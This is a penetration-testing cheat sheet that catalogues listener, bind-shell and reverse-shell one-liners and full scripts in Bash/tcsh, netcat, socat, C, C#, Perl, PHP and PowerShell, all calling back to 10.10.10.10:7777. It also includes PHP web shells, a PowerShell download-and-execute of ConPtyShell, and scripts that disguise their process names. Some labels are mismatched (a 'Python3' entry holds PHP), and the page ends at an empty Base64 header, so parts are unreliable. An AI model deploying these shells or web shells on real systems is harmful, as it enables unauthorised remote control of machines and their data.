Listener, Bind and Reverse Shells Cheat Sheet
Introduction
If you are fortunate enough to find a Remote Code Execution (RCE) vulnerability during your Penetration Test or Red Teaming engagements.
Although there are hundreds of different ways you can create a Bind or Reverse Shell, your options will be limited by the resources (shells, programming languages, applications) you find available to you in your target’s operating system.
Some shells are very easy to memorize as they are logic, some might be obscure and not very user friendly or logical to understand
The resources below is a reference catalog of Listeners, Bind and Reverse Shells, all manually tested and validated, FREE TO USE.
The following IP and Ports were used by default in all examples
IP: 10.10.10.10 (LHOST)
Port: 7777 (LPORT)
Some of the bind and reverse shells in this list may require an additional subshell. As many different shells and programming languages might be available to you on your target system I’ve added a simple dropdown so you can choose the Subshell when needed. This will provide cleaner information and avoid repetition of including all subshells for every reverse shell.
The dropdown will look like this:
# cmd1 | subshell dropdown
cmd1 | [[sh|bash|/bin/sh|/bin/bash|cmd|powershell|ash|bsh|csh|ksh|zsh|pdksh|tcsh|mksh|dash]]]
I’ve also added a dropdown menu to chose Encoding in case you need it.
# cmd1 | encoding Type
cmd1 | [[None|Base64|URLEncoding|URLEncoding (Double)]]]
I took what others did before me and improved it, adding dozens more Listeners, Bind and Reverse Shells. Kudos to PayLoadAllTheThings, PentestMonkey, Revshells.com, Bernardo Dag, and so many others whose blogs/sites were stepping stones on this subject and more.
I hope it helps you in your operations!
LISTENERS
Listeners are simple entities, their only goal is to serve as a handler for any shell you send to it, therefore they are generally composed of the listener command, followed by your attack’s port, where you want your Bind & Reverse shells to be connected to.
NetCat (nc)
Linux
nc -lvnp 7777
FreeBSD
nc -lvn 7777
Busybox
busybox nc -lp 7777
NCat
Linux
ncat -lvnp 7777
Windows
ncat.exe -lvnp 7777
NCat with TLS Support
ncat --ssl -lvnp 7777
Rust Cat
rcat listen 7777
Rlwrap + NetCat (nc)
rlwrap -cAr nc -lvnp 7777
Pwncat
Linux
python3 -m pwncat -lp 7777
Windows
python3 -m pwncat -m windows -lp 7777
ConPty (Windows)
stty raw -echo; (stty size; cat) | nc -lvnp 7777
Socat
Linux
socat -d -d TCP-LISTEN:7777 STDOUT
TTY
socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:7777
Powercat
powercat -l -p 7777
OpenSSL
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port 7777
Metasploit Handler (msfconsole)
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.10.10; set lport 7777; exploit"
BIND SHELLS
In a bind shell, the target machine opens a listening port and waits for an incoming connection from the attacker. The below is a list of Bind (foward/direct) shells you can use if you already have a listener on the target’s machine.
How it works:
- The attacker runs a command on the compromised machine to bind a command shell to a specific port.
- The attacker then initiates a connection directly to that IP address and Port using a Bind shell.
Limitations:
- Requires the target machine to have a reachable IP address (ie. Public IP)
Firewall Impact:
- Often blocked by firewalls because incoming (inbound) traffic to non-standard ports is typically restricted
- Generally the attacker needs to run an egress port enumeration to make sure what ports are opened.
Security Risk:
- This type of shell is generally noisier on the network, and anyone who discovers the open port can connect to it if the bind shell in use has no whitelist/blacklist features.
NetCat
Netcat Command Execution (-e)
nc -nlvp 7777 -e /bin/sh
Netcat Mkfifo
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 7777 > /tmp/f
NetCat Command Execution (-e) (Windows)
nc.exe -nlvp 7777 -e cmd
NCat
Netcat Command Execution (-e)
ncat -nlvp 7777 -e
Socat
Socat (TTY)
socat TCP-LISTEN:7777,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
Python3
Python3 (popen)
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",7777);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'
Ruby
Ruby (exec)
ruby -rsocket -e 'f=TCPServer.new(9001); s=f.accept; [0,1,2].each { |fd| IO.new(fd).reopen(s) }; exec "/bin/sh -i"'
PHP
PHP (popen)
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",7777);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'
Perl
Perl (exec)
perl -e 'use Socket;$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/sh -i");};'
REVERSE SHELLS
In a reverse shell, the compromised target machine initiates an outgoing connection back to the attacker’s machine, if the attacker’s machine already have a listener set.
How it works:
- The attacker sets up a listener on their own attacker machine.
- A malicious script or payload on the target machine then triggers an outbound connection to the attacker’s listener
Network Limitations:
- Works even if the target is behind Network Address Translation (NAT) or a private local network
Firewall Impact:
- Highly effective at bypassing firewalls because corporate and home networks usualy allow outgoing (egress) traffic to several ports, especially common infrastructure services, such as DNS (UDP-TCP 53) and high ports.
Security Risks:
- This is the preferred and most common method used in penetration testing, red teaming and real-world attacks because it stealthily punches through standard network defenses, unless there is a NG Firewall that can do L7 Application inspection in place, or a modern EDR with blocking policies enforced, which might block these kind of attacks.
Bash
Bash (Interactive) -i
tcsh -i >& /dev/tcp/10.10.10.10/7777 0>&1
Bash 196
0<&196;exec 196<>/dev/tcp/10.10.10.10/7777; tcsh <&196 >&196 2>&196
Bash Read Line
exec 5<>/dev/tcp/10.10.10.10/7777;cat <&5 | while read line; do $line 2>&5 >&5; done
Bash 5
tcsh -i 5<> /dev/tcp/10.10.10.10/7777 0<&5 1>&5 2>&5
Bash UDP
tcsh -i >& /dev/udp/10.10.10.10/7777 0>&1
Netcat
Netcat Command Execution (-e)
nc 10.10.10.10 7777 -e tcsh
Netcat Command Execution (-c)
nc -c tcsh 10.10.10.10 7777
Netcat (m)kfifo)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|tcsh -i 2>&1|nc 10.10.10.10 7777 >/tmp/f
Netcat Command Execution (-e) (Windows)
nc.exe 10.10.10.10 7777 -e tcsh
NCat
NCat Command Execution (-e)
ncat 10.10.10.10 7777 -e tcsh
NCat Command Execution (-e) (Windows)
ncat.exe 10.10.10.10 7777 -e tcsh
NCat UDP
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|tcsh -i 2>&1|ncat -u 10.10.10.10 7777 >/tmp/f
Busybox
Busybox nc Command Execution (-e)
busybox nc 10.10.10.10 7777 -e [[pick: sh | tcsh]]
Curl
C='curl -Ns telnet://10.10.10.10:7777'; $C </dev/null 2>&1 | tcsh 2>&1 | $C >/dev/null
Rustcat
rcat connect -s tcsh 10.10.10.10 7777
C
C (Linux)
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 7777;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.10.10");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"tcsh", NULL};
execvp("tcsh", argv);
return 0;
}
C (Windows)
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
char ip_addr[16] = "10.10.10.10";
char port[6] = "7777";
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
int main()
{
WSAStartup(MAKEWORD(2, 2), &wsaData);
Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip_addr);
strcpy_s(ip_addr, 16, inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(port));
hax.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb = sizeof(ini_processo);
ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
TCHAR cmd[255] = TEXT("cmd.exe");
CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
return 0;
}
C#
C# TCP Client
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient("10.10.10.10", 7777))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "tcsh";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
C# Bash Interactive
using System;
using System.Diagnostics;
namespace BackConnect {
class ReverseBash {
public static void Main(string[] args) {
Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "tcsh";
proc.StartInfo.Arguments = "-c \"tcsh -i >& /dev/tcp/10.10.10.10/7777 0>&1\"";
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
while (!proc.StandardOutput.EndOfStream) {
Console.WriteLine(proc.StandardOutput.ReadLine());
}
}
}
}
Haskell #1
module Main where
import System.Process
main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | tcsh -i 2>&1 | nc 10.10.10.10 7777 >/tmp/f"
OpenSSL
mkfifo /tmp/s; tcsh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.10.10:7777 > /tmp/s; rm /tmp/s
Perl
Perl (exec)
perl -e 'use Socket;$i="10.10.10.10";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("tcsh -i");};'
No SH
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
PentestMonkey
#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
# Copyright (C) 2006 pentestmonkey@pentestmonkey.net
#
# This tool may be used for legal purposes only. Users take full responsibility
# for any actions performed using this tool. The author accepts no liability
# for damage caused by this tool. If these terms are not acceptable to you, then
# do not use this tool.
#
# In all other respects the GPL version 2 applies:
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
# This tool may be used for legal purposes only. Users take full responsibility
# for any actions performed using this tool. If these terms are not acceptable to
# you, then do not use this tool.
#
# You are encouraged to send comments, improvements or suggestions to
# me at pentestmonkey@pentestmonkey.net
#
# Description
# -----------
# This script will make an outbound TCP connection to a hardcoded IP and port.
# The recipient will be given a shell running as the current user (apache normally).
#
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Where to send the reverse shell. Change these.
my $ip = '10.10.10.10';
my $port = 7777;
# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);
# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";
# Change the process name to be less conspicious
$0 = "[httpd]";
# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}
# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}
setsid();
chdir('/');
umask(0);
}
# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}
# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"tcsh"} ($fake_process_name, "-i"));
# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}
# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}
# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}
PHP
Pentest Monkey
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.10.10';
$port = 7777;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; tcsh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
PHP Ivan Sincek
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
$this->os = 'LINUX';
$this->shell = 'tcsh';
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
} else if (posix_setsid() < 0) {
// once daemonized you will actually no longer see the script's dump
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$fstat = fstat($input);
$size = $fstat['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.10.10', 7777);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
PHP CMD
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
PHP CMD2
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>
PHP CMD SMALL
<?=`$_GET[0]`?>
PHP EXEC
php -r '$sock=fsockopen("10.10.10.10",7777);exec("tcsh <&3 >&3 2>&3");'
PHP Shell_Exec
php -r '$sock=fsockopen("10.10.10.10",7777);shell_exec("tcsh <&3 >&3 2>&3");'
PHP System
php -r '$sock=fsockopen("10.10.10.10",7777);system("tcsh <&3 >&3 2>&3");'
PHP Passthru
php -r '$sock=fsockopen("10.10.10.10",7777);passthru("tcsh <&3 >&3 2>&3");'
PHP Fsockopen
php -r '$sock=fsockopen("10.10.10.10",7777);`tcsh <&3 >&3 2>&3`;'
PHP Popen
php -r '$sock=fsockopen("10.10.10.10",7777);popen("tcsh <&3 >&3 2>&3", "r");'
PHP Proc_Open
php -r '$s=fsockopen("10.10.10.10",7777);proc_open("tcsh",[$s,$s,$s],$p);'
ConPty (WIndows)
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.10.10 7777
P0wny Shell (WebShell)
Powershell
PowerShell 1
$LHOST = "10.10.10.10"; $LPORT = 7777; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
PowerShell 2
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',7777);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
PowerShell 3
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.10', 7777);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
PowerShell 4 (TLS)
$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.10', 7777);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = New-Object System.Byte[] 4096 ;$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()
PowerShell 3 (Base64)
